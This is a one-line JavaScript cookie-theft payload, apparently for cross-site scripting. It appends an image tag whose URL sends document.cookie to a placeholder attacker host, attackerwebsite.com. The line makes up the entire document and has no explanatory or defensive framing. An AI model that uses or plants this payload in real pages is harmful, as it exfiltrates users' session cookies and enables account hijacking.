document.body.innerHTML += '<img src="http://attackerwebsite.com/?cookies=' + document.cookie + '">';